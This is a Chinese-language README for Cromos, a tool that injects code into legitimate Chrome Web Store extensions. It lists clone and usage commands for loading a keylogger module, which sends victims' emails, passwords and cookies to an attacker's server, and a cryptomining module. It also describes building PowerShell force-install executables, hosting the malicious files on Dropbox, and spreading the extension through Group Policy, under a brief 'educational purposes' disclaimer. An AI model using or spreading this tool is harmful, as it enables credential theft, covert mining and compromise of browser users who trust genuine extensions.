Cromos 是一款用于从 Chrome 网上应用商店下载合法扩展,并在应用后台注入代码的工具。此外,Cromos 还能创建可执行文件,例如通过 PowerShell 强制安装,并上传文件到 Dropbox 以托管恶意文件。
这是一个工具运行演示。在此示例中,我从 Google Chrome 网上应用商店下载了一个著名的 Google 扩展程序 G Suite Training,并注入了一个键盘记录器模块。
$ cd $HOME/
$ git clone https://github.com/fbctf/cromos
$ sudo chmod -R 777 cromos/
$ cd cromos && python setup.py
Usage: python cromos.py --extension {id}
Usage: python cromos.py --extension {id} --load {currency/keylogger}
Usage: python cromos.py --extension {id} --build {bat} --token {dropboxToken}
你还可以在后台注入一些预定义模块,如 键盘记录器、虚拟货币。
| 模块 | 描述 |
|---|---|
| modules/keylogger | 该模块会捕获你在受感染浏览器中输入的所有密码,无论是否通过 HTTPS。你只需要有一个 PHP 服务器(例如)来接收请求,获取的参数包括 email、password、cookies 和 userAgent。 |
| modules/currency | 该模块允许你使用 coinhive API 挖掘虚拟币,你只需要拥有一个账户。 |
Chrome 允许你使用 Windows 组策略对象 (GPO) 添加扩展。如果你需要在多台机器上强制安装,只需按照 Chrome 部署指南 中的步骤操作,然后对原始扩展进行少量修改,就可以将你的扩展发布到 Chrome 网上应用商店,但需要支付 5 美元。
提供的代码示例仅用于教育目的。只有通过研究恶意行为者可用的攻击技术,才能建立起充分的防御。未经事先许可,针对目标系统使用此代码在大多数司法管辖区是非法的。作者不对因滥用此信息或代码造成的任何损害承担责任。
49m12JEEC6HPCHkLMX5QL4SrDQdKwh6eb4Muu8Z9CwA9MwemhzFQ3VcgHwyuR73rC22WCymTUyep7DVrfN3GPt5JBCekPrR